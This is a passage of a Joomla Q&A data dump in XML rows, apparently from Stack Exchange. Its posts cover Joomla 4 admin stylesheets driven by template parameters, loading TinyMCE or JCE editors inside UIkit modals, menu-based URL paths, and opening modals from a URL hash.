etc.&lt;/p&gt;&#xA;&lt;p&gt;So the fields in the backend of my custom templates should be using the classes .bg01, bg02, .bg03 etc, and the end result hould look like this&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LdHfZ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LdHfZ.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The problem is that the &lt;strong&gt;templateDetails.xml&lt;/strong&gt; parameter values are not being passed through and the result is this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/j8U1B.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j8U1B.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When I inspect the admin page in Chrome I see this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GjANK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GjANK.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Clearly the &lt;strong&gt;admin.css.php&lt;/strong&gt; is being accessed because the hardcoded values are being applied. But the variables (color values) are not.&lt;/p&gt;&#xA;&lt;p&gt;My thought is that the php at the beginning of &lt;strong&gt;admin.css.php&lt;/strong&gt; needs revision in order to properly fetch and pass the parameters from templateDetails.xml&lt;/p&gt;&#xA;&lt;p&gt;I am hoping there is someone knowlegable enough about Joomla 4 to help me solve this.&lt;/p&gt;&#xA;" OwnerUserId="14666" LastEditorUserId="14666" LastEditDate="2021-07-31T10:35:24.790" LastActivityDate="2021-08-20T19:38:39.007" Title="Joomla4: Load a custom stylesheet (admin.css.php) in administration" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31401" PostTypeId="1" AcceptedAnswerId="31411" CreationDate="2021-07-30T11:11:10.850" Score="1" ViewCount="252" Body="&lt;p&gt;For a new Project i would like to have an editor instance inside a modal popup (click on an object to add / edit details). I have my Custom Field that loads an editor like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$editor = JEditor::getInstance(Factory::getConfig()-&amp;gt;get('editor'));&#xA;    $name = $id = 'marker-description';&#xA;    $contents ='';&#xA;    $width = '100%';&#xA;    $height='100px';&#xA;    $cols = 5;&#xA;    $rows = 10;&#xA;    $buttons=true;&#xA;    $asset = $author = null;&#xA;    $params = array();&#xA;&#xA;    $modalEditor = $editor-&amp;gt;display($name, $contents, $width, $height, $cols, $rows, $buttons, $id, $asset, $author, $params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then in the modal i'll add the editor to the echo, this part works fine and the editor is shown to. But you cannot write in some text. Only when disabling the editor (button below) you can enter some text into the given field. But this text is also not visible.&lt;/p&gt;&#xA;&lt;p&gt;I came across my researches about this question here that is JCE related but i think the &amp;quot;issue&amp;quot; is the same. &lt;a href=&quot;https://www.joomlacontenteditor.net/support/forum/105386-jce-in-uikit3-modal-not-focus-editable-in-editor-mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlacontenteditor.net/support/forum/105386-jce-in-uikit3-modal-not-focus-editable-in-editor-mode&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've tried to add the given js code based on my structure:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;console.log('JQuery ready');&#xA;UIkit.util.on('#marker-modal', 'show', function () {&#xA;    console.log('Modal shown');&#xA;    $(document).trigger('subform-row-sort', '#marker-modal');&#xA;});&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;All events got fired well but i'm not sure what this &amp;quot;subform-row-sort&amp;quot; will do.&lt;/p&gt;&#xA;&lt;p&gt;This is the structure of the echo:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$modal = '&amp;lt;div id=&amp;quot;marker-modal&amp;quot; class=&amp;quot;uk-modal-container uk-flex-top&amp;quot; uk-modal&amp;gt;'.&#xA;                '&amp;lt;div class=&amp;quot;uk-modal-dialog&amp;quot;&amp;gt;'.&#xA;                    '&amp;lt;div class=&amp;quot;uk-modal-body&amp;quot;&amp;gt;'.&#xA;                        '&amp;lt;button class=&amp;quot;uk-modal-close-default&amp;quot; type=&amp;quot;button&amp;quot; uk-close&amp;gt;&amp;lt;/button&amp;gt;'.&#xA;                        '&amp;lt;h2 class=&amp;quot;uk-modal-title&amp;quot;&amp;gt;Edit Marker Data&amp;lt;/h2&amp;gt;'.&#xA;                        '&amp;lt;form id=&amp;quot;modal-form&amp;quot;&amp;gt;'.&#xA;                            '&amp;lt;input class=&amp;quot;uk-input&amp;quot; id=&amp;quot;marker-label&amp;quot; type=&amp;quot;text&amp;quot; placeholder=&amp;quot;'.Text::_('MOD_MAPS_MARKERLABEL').'&amp;quot; /&amp;gt;'.&#xA;                            '&amp;lt;span&amp;gt;'.Text::_('MOD_MAPS_MARKERDES').'&amp;lt;/span&amp;gt;'.&#xA;                            $modalEditor.&#xA;                        '&amp;lt;/form&amp;gt;'.&#xA;                    '&amp;lt;/div&amp;gt;'.&#xA;                    '&amp;lt;div class=&amp;quot;uk-modal-footer&amp;quot;&amp;gt;'.&#xA;                        '&amp;lt;div class=&amp;quot;uk-grid uk-child-width-auto uk-flex-right&amp;quot;&amp;gt;'.&#xA;                            '&amp;lt;div&amp;gt;&amp;lt;div class=&amp;quot;uk-button nxd-button-success uk-modal-close&amp;quot;&amp;gt;'.Text::_('MOD_MAPS_SAVECLOSE').'&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;'.&#xA;                            '&amp;lt;div&amp;gt;&amp;lt;div class=&amp;quot;uk-button nxd-button-danger uk-modal-close&amp;quot;&amp;gt;'.Text::_('MOD_MAPS_CANCEL').'&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;'.&#xA;                        '&amp;lt;/div&amp;gt;'.&#xA;                    '&amp;lt;/div&amp;gt;'.&#xA;                '&amp;lt;/div&amp;gt;'.&#xA;            '&amp;lt;/div&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What i've seen so far is that the form tag (#modal-form) not got rendered. Idk if this could be a problem related to the given js solution...&#xA;&lt;a href=&quot;https://i.stack.imgur.com/z6eWm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/z6eWm.jpg&quot; alt=&quot;Modal with console open&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2021-07-30T12:18:24.033" LastActivityDate="2021-08-04T19:34:43.763" Title="Use Text-Editor in UIkit Modal (Module Backend)" Tags="|javascript|custom-field|custom-module|editor|modal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31402" PostTypeId="1" AcceptedAnswerId="31409" CreationDate="2021-07-30T19:03:04.180" Score="1" ViewCount="53" Body="&lt;p&gt;Right now, &lt;a href=&quot;https://www.co.bergen.nj.us/shopping&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.co.bergen.nj.us/shopping&lt;/a&gt; is a page on my site&lt;/p&gt;&#xA;&lt;p&gt;I want to make that page &lt;a href=&quot;https://www.co.bergen.nj.us/tourism/shopping&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.co.bergen.nj.us/tourism/shopping&lt;/a&gt; but I do not know how to add that to the URL.  I tried modifying the menu item's alias to be &amp;quot;tourism/shopping&amp;quot; but the site converts it to &amp;quot;tourism-shopping&amp;quot; when I save the changes.  How do I add &amp;quot;/tourism/&amp;quot; to the URL before the alias? (ie edit before the alias)&lt;/p&gt;&#xA;" OwnerUserId="15558" LastActivityDate="2021-08-02T13:51:47.057" Title="how to add a slash item before alias of a page" Tags="|administrator|url|alias|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31403" PostTypeId="2" ParentId="31402" CreationDate="2021-07-30T20:57:38.793" Score="1" Body="&lt;p&gt;its based on your menu structure isnt it?&#xA;so to get this struct you need to add a menu entry for tourism and put there the item shopping as child.&lt;/p&gt;&#xA;&lt;p&gt;maybe there exists an alternative but i would try that.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2021-07-30T20:57:38.793" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31405" PostTypeId="1" CreationDate="2021-07-31T09:35:45.950" Score="0" ViewCount="159" Body="&lt;p&gt;In my component in a model backend, I'm loading a form but since moving the code to be used on J!4.0 the data associated to the form isn't loaded anymore.&lt;/p&gt;&#xA;&lt;p&gt;The loadForm is called: &lt;a href=&quot;https://github.com/Kunena/Kunena-Forum/blob/K6.0/src/admin/src/Model/TemplateModel.php#L55&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Kunena/Kunena-Forum/blob/K6.0/src/admin/src/Model/TemplateModel.php#L55&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The form is being loaded, but it doesn't load the data with the form.&lt;/p&gt;&#xA;&lt;p&gt;How to fix that?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="12352" LastEditDate="2021-07-31T10:05:12.460" LastActivityDate="2022-08-25T21:05:05.593" Title="loadForm change behaviour from J!3.9 to J!4.0 and data not loaded with the form" Tags="|extensions|form|joomla-4.x|kunena|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31406" PostTypeId="2" ParentId="31400" CreationDate="2021-07-31T14:50:31.560" Score="4" Body="&lt;p&gt;Solved for Joomla 4! I found this &lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/34586&quot; rel=&quot;nofollow noreferrer&quot;&gt;tracker entry&lt;/a&gt; which lead me to update the php at the beginning of &lt;strong&gt;admin.css.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define('_JEXEC', 1);&#xA;define('JPATH_BASE', __DIR__ . '/../../..');&#xA;&#xA;require_once JPATH_BASE . '/includes/defines.php';&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;// Boot the DI container.&#xA;$container = \Joomla\CMS\Factory::getContainer();&#xA;// UPDATED alias the session service key to the web session service.&#xA;$container-&amp;gt;alias('session.web', 'session.web.site')&#xA;    -&amp;gt;alias('session', 'session.web.site')&#xA;    -&amp;gt;alias('JSession', 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\CMS\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.web.site');&#xA;&#xA;$app            = $container-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&#xA;$myTemplate = $app-&amp;gt;getTemplate(true);&#xA;$params         = $myTemplate-&amp;gt;params;&#xA;&#xA;header(&amp;quot;Content-Type:text/css; charset=UTF-8&amp;quot;);&#xA;header(&amp;quot;Cache-Control:must-revalidate&amp;quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Atum (the default admin template for Joomla 4) makes targeting the button backgrounds a little tricky. In order for backgrounds to work you must add the class &lt;strong&gt;btn btn-outline-secondary&lt;/strong&gt; to your field options&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;backgroundColor&amp;quot; label=&amp;quot;Background Color&amp;quot; type=&amp;quot;radio&amp;quot; &amp;gt;&#xA;        &amp;lt;option class=&amp;quot;btn btn-outline-secondary bg01&amp;quot; value=&amp;quot;color01&amp;quot;&amp;gt;Color 01&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option class=&amp;quot;btn btn-outline-secondary bg02&amp;quot; value=&amp;quot;color02&amp;quot;&amp;gt;Color 02&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option class=&amp;quot;btn btn-outline-secondary bg03&amp;quot; value=&amp;quot;color03&amp;quot;&amp;gt;Color 03&amp;lt;/option&amp;gt;&#xA;        etc&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And in the &lt;strong&gt;admin.css.php&lt;/strong&gt;, use the following for each button:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.bg01 {text-shadow: 0px 1px #000000; border-color: #495057; font-weight: bold; color:&amp;lt;?php echo $params-&amp;gt;get('color01'); ?&amp;gt;; }&#xA;.btn-check:checked + .btn-outline-secondary.bg01 {text-shadow: 0px 1px #000000; color:#fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color01'); ?&amp;gt;; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will create two color states for when the button is selected, or not selected. Here is the result:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KXLmK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KXLmK.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;UPDATE: In order for this method to work, the template that is using&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;![CDATA[&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; href=&amp;quot;../media/vendor/mycustomfolder/admin.css.php&amp;quot; /&amp;gt;]]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;must be set as the default template otherwise the colors will not be displayed.&lt;/p&gt;&#xA;" OwnerUserId="14666" LastEditorUserId="14666" LastEditDate="2021-08-20T19:38:39.007" LastActivityDate="2021-08-20T19:38:39.007" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31407" PostTypeId="2" ParentId="31405" CreationDate="2021-07-31T19:26:31.987" Score="1" Body="&lt;p&gt;Nevermind, i just found it. The method loadFormData() in model was removed by mistake&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2021-07-31T19:26:31.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31408" PostTypeId="2" ParentId="30383" CreationDate="2021-08-01T19:51:08.057" Score="1" Body="&lt;p&gt;after days of searching I found my answer here :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/15090084/how-to-open-bootstrap-modal-as-soon-as-page-opens-if-modal-id-is-present-in-url&quot;&gt;https://stackoverflow.com/questions/15090084/how-to-open-bootstrap-modal-as-soon-as-page-opens-if-modal-id-is-present-in-url&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;On page #2 that I call &amp;quot;page2&amp;quot;, I have this modal which is hidden on the page because I want so :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Modal --&amp;gt;&#xA;&amp;lt;div class=&amp;quot;modal fade&amp;quot; id=&amp;quot;myModal&amp;quot; role=&amp;quot;dialog&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;modal-dialog&amp;quot;&amp;gt;&#xA;      &amp;lt;!-- Modal content--&amp;gt;&#xA;      &amp;lt;div class=&amp;quot;modal-content&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;modal-body text-center&amp;quot;&amp;gt;&#xA;         &amp;lt;img src=&amp;quot;https://mysite.com/picture1.jpg&amp;quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then, to launch the modal on page load, I place in my personal JS file (replacing $ by jQuery, because I'm on Joomla)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;    if(window.location.href==='https://mysite.com/page2#myModal'){&#xA;        jQuery('#myModal').modal('show');&#xA;    };&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On page #1 or as a link on a Epub (tested), I use this :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a alt=&amp;quot;lien vers&amp;quot; href=&amp;quot;https://mysite.com/page2#myModal&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Link to page that launch #myModal on load&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This link opens a new window where myModal is automatically loaded.&lt;/p&gt;&#xA;&lt;p&gt;When I click outside the modal, I return to the page where the modal is hidden and other elements appear.&lt;/p&gt;&#xA;&lt;p&gt;All I have to do is change the ID of the modal I create to repeat the event.&lt;/p&gt;&#xA;&lt;p&gt;In order to use jQuery and modal, I placed inside the index.php of my Astroid template (MyJoomla/template/my_Astroid_Template/index.php)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('jquery.framework');&#xA;JHtml::_('behavior.modal');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Like this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * @package   Astroid Framework&#xA; * @author    JoomDev https://www.joomdev.com&#xA; * @copyright Copyright (C) 2009 - 2020 JoomDev.&#xA; * @license https://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later&#xA; */&#xA;// No direct access.&#xA;defined('_JEXEC') or die;&#xA;defined('_ASTROID') or die('Please install and activate &amp;lt;a href=&amp;quot;https://www.astroidframework.com/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Astroid Framework&amp;lt;/a&amp;gt; in order to use this template.');&#xA;&#xA;if (file_exists(__DIR__ . &amp;quot;/helper.php&amp;quot;)) {&#xA;   require_once __DIR__ . &amp;quot;/helper.php&amp;quot;; // Template's Helper&#xA;}&#xA;&#xA;JHtml::_('jquery.framework');&#xA;JHtml::_('behavior.modal');&#xA;&#xA;$document = Astroid\Framework::getDocument(); // Astroid Document&#xA;// Output as HTML5&#xA;$this-&amp;gt;setHtml5(true);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I also added a link to jQuery.js and to my personnal js file in the custom code area of Astroid Framework, before /body tag&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;!-- jQuery --&amp;gt;&#xA;&amp;lt;script src=&amp;quot;https://code.jquery.com/jquery-3.5.1.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;!-- End - jQuery --&amp;gt;&#xA;&amp;lt;!-- Mon JS --&amp;gt;&#xA;&amp;lt;script type=&amp;quot;text/javaScript&amp;quot; src=&amp;quot;/media/system/js/monjs.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;!-- End - Mon JS --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That's it you can see the result on my website : &lt;a href=&quot;https://lise-whales.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lise-whales.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15542" LastActivityDate="2021-08-01T19:51:08.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31409" PostTypeId="2" ParentId="31402" CreationDate="2021-08-02T13:51:47.057" Score="2" Body="&lt;p&gt;ok this is kind of an answer to my question but not the one I was looking for because it has limitations that I do not want.&lt;/p&gt;&#xA;&lt;p&gt;If you have a menu that links to the page then clicking on that menu item will bring you to &lt;code&gt;www.website.com/menutitle/pagealias&lt;/code&gt;.  This method may be useful for someone else in the future but it is not useful for me.&lt;/p&gt;&#xA;" OwnerUserId="15558" LastActivityDate="2021-08-02T13:51:47.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31410" PostTypeId="1" CreationDate="2021-08-02T13:58:15.273" Score="1" ViewCount="69" Body="&lt;p&gt;I have a page at &lt;code&gt;www.website.com/page51&lt;/code&gt; with 0 layers of slash items in the URL (only the website and the page alias) and I want to make it have two layers of slash items, as in &lt;code&gt;www.website.com/layer1/layer2/page51&lt;/code&gt; where &lt;code&gt;/layer1/&lt;/code&gt; is layer 1 and &lt;code&gt;/layer2/&lt;/code&gt; is layer 2 and &lt;code&gt;page51&lt;/code&gt; is the page alias but also looks like layer 3.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Solution that almost worked but failed:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a menu &lt;code&gt;invisible&lt;/code&gt; and create a menu header called &lt;code&gt;layer1&lt;/code&gt;.  Add a menu item to &lt;code&gt;invisible&lt;/code&gt; called &lt;code&gt;page51&lt;/code&gt; that links to the &lt;code&gt;page51&lt;/code&gt; page and make it's parent &lt;code&gt;layer1&lt;/code&gt;.  (Up to this part worked, I can now go to &lt;code&gt;www.website.com/layer1/page51&lt;/code&gt; to see page51)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a menu header in &lt;code&gt;invisible&lt;/code&gt; called &lt;code&gt;layer2&lt;/code&gt;, and make it's parent &lt;code&gt;layer1&lt;/code&gt;, set the parent item of the &lt;code&gt;page51&lt;/code&gt; menu item to &lt;code&gt;layer2&lt;/code&gt;&#xA;so that &lt;code&gt;invisible&lt;/code&gt; is a menu which contains the menu header &lt;code&gt;layer1&lt;/code&gt; with a child menu header called &lt;code&gt;layer2&lt;/code&gt; which has a child menu item called &lt;code&gt;page51&lt;/code&gt; but when I go to &lt;code&gt;www.website.com/layer1/layer2/page51&lt;/code&gt; I get an error when that path should show the &lt;code&gt;page51&lt;/code&gt; page.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Apparently, the method above works for child items but does not work for grand child items.  How do I achieve this logical structure of my website pages?&lt;/p&gt;&#xA;" OwnerUserId="15558" LastEditorUserId="15558" LastEditDate="2021-08-09T12:45:58.097" LastActivityDate="2021-08-09T12:45:58.097" Title="How can I give pages URLs with two layers of slashes in them?" Tags="|joomla-3.x|menu|url|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31411" PostTypeId="2" ParentId="31401" CreationDate="2021-08-03T09:08:02.283" Score="2" Body="&lt;p&gt;I duplicated your scenario (using the TinyMCE editor which is the base of JCE editor too) and it looks like for me that the &lt;code&gt;toggleEditor()&lt;/code&gt; function is &amp;quot;handling&amp;quot; this interesting behavior within the Modal for the editor (as it is placing the editor in the document body when invoked, but that is only a half solution here). Thus, this script solved this problem for me partially.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;  UIkit.util.on('#marker-modal', 'show', function() {&#xA;    &#xA;    tinyMCE.execCommand('mceToggleEditor', false, 'marker_description');&#xA;    Joomla.JoomlaTinyMCE.setupEditors();&#xA;  });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I just had a short extra time to check this with the JCE editor and - as expected - the above only works with TinyMCE editor. So, if I can I'll be check this for JCE further...&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE ON Loading JCE OR TinyMCE editor into a modal&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Investigating this issue a bit more it has become obvious that the problem is that when you try to load/display an editor field in a Modal in a usual way, it will be placed inside an IFrame, and the Document head and body are going to be empty. Thus scripts will not find the editor and the editor will not be initialized and set active fully.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt; The editor must be loaded via JavaScript (I prefer vanilla JavaScript for doing this) and not only loaded but loaded into the body of the document. The key point is that it should be appended to a parent HTML element which is already in the body (this way we will avoid IFrame and empty document head/body). Actually this is the only key of this problem and of course there could be few different ways to solve this. So, the steps:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;1. Based on the editor field definition in the question,&lt;/strong&gt; let's create a function which return the Editor field for our JavaScript loader:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use \Joomla\CMS\Factory;&#xA;use \Joomla\CMS\Editor\Editor;&#xA;&#xA;$modalEditor = function () {&#xA;  $conf = Factory::getConfig();&#xA;  $editor_name = $conf-&amp;gt;get('editor');&#xA;&#xA;  $editor = Editor::getInstance($editor_name);&#xA;&#xA;  $name = $id = 'markers_markerdescription';&#xA;  $contents = '';&#xA;  $width = '100%';&#xA;  $height = '100px';&#xA;  $cols = 5;&#xA;  $rows = 10;&#xA;  $buttons = true;&#xA;  $asset = $author = null;&#xA;  $params = array();&#xA;&#xA;  return json_encode($editor-&amp;gt;display($name, $contents, $width, $height, $cols, $rows, $buttons, $id, $asset, $author, $params));&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;2. I just added&lt;/strong&gt; an empty &lt;code&gt;div&lt;/code&gt; element to the given &lt;strong&gt;HTML UIKit Modal layout&lt;/strong&gt; (within the &lt;strong&gt;Form&lt;/strong&gt;) (I did not want to append that one with javascript...)&lt;/p&gt;&#xA;&lt;p&gt;So the UIkit based Modal with the added &lt;code&gt;&amp;lt;div id=&amp;quot;neweditor&amp;quot;&amp;gt;&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&amp;quot;marker-modal&amp;quot; class=&amp;quot;uk-modal-container uk-flex-top&amp;quot; uk-modal&amp;gt;&#xA;  &amp;lt;div class=&amp;quot;uk-modal-dialog&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;uk-modal-body&amp;quot;&amp;gt;&#xA;      &amp;lt;button class=&amp;quot;uk-modal-close-default&amp;quot; type=&amp;quot;button&amp;quot; uk-close&amp;gt;&amp;lt;/button&amp;gt;&#xA;      &amp;lt;h2 class=&amp;quot;uk-modal-title&amp;quot;&amp;gt;Edit Marker Data&amp;lt;/h2&amp;gt;&#xA;      &amp;lt;form id=&amp;quot;modal-form&amp;quot;&amp;gt;&#xA;        &amp;lt;input class=&amp;quot;uk-input&amp;quot; id=&amp;quot;marker-label&amp;quot; type=&amp;quot;text&amp;quot; placeholder=&amp;quot; &amp;lt;?php Text::_('MOD_MAPS_MARKERLABEL'); ?&amp;gt; &amp;quot; /&amp;gt;&#xA;        &amp;lt;span&amp;gt; &amp;lt;?php Text::_('MOD_MAPS_MARKERDES'); ?&amp;gt; &amp;lt;/span&amp;gt;&#xA;        &amp;lt;div id=&amp;quot;neweditor&amp;quot;&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;uk-modal-footer&amp;quot;&amp;gt;&#xA;      &amp;lt;div class=&amp;quot;uk-grid uk-child-width-auto uk-flex-right&amp;quot;&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;          &amp;lt;div class=&amp;quot;uk-button nxd-button-success uk-modal-close&amp;quot;&amp;gt; &amp;lt;?php Text::_('MOD_MAPS_SAVECLOSE'); ?&amp;gt; &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;          &amp;lt;div class=&amp;quot;uk-button nxd-button-danger uk-modal-close&amp;quot;&amp;gt; &amp;lt;?php Text::_('MOD_MAPS_CANCEL'); ?&amp;gt; &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then I created the script which helps to load the editor in the Modal and initialize it, and it could be &lt;strong&gt;Joomla TinyMCE&lt;/strong&gt; or &lt;strong&gt;JCE&lt;/strong&gt; editor.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;UIkit.util.on('#marker-modal', 'show', function() {&#xA;  if (typeof tinyMCE !== &amp;quot;undefined&amp;quot; &amp;amp;&amp;amp; Joomla.JoomlaTinyMCE !== undefined) {&#xA;      console.log('Joomla core TinyMCE editor is used');&#xA;      if (document.getElementById('ed_loaded1') === null) {&#xA;          let editorDiv = document.createElement('div');&#xA;          editorDiv.setAttribute('id', 'ed_loaded1');&#xA;          let parDiv = document.getElementById('neweditor');&#xA;          parDiv.appendChild(editorDiv);&#xA;          editorDiv.innerHTML = &amp;lt;?php echo $modalEditor(); ?&amp;gt;;&#xA;          Joomla.JoomlaTinyMCE.setupEditors();&#xA;      }&#xA;  } else if (document.getElementById('ed_loaded1') === null &amp;amp;&amp;amp; typeof tinyMCE !== &amp;quot;undefined&amp;quot;) {&#xA;      console.log('It is a jce editor');&#xA;      addJceEditor();&#xA;  } else {&#xA;      console.log('You should set TinyMCE or JCE editor in Global configuration ');&#xA;      